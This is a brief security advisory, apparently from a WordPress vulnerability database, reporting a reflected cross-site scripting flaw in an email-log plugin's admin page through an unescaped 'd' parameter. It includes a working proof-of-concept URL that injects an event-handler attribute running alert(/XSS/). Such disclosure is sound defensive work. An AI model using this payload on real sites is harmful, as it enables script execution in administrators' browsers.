The plugin does not escape the d parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
With the "Enable Logs" setting activated: https://example.com/wp-admin/admin.php?page=check-email-logs&d="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//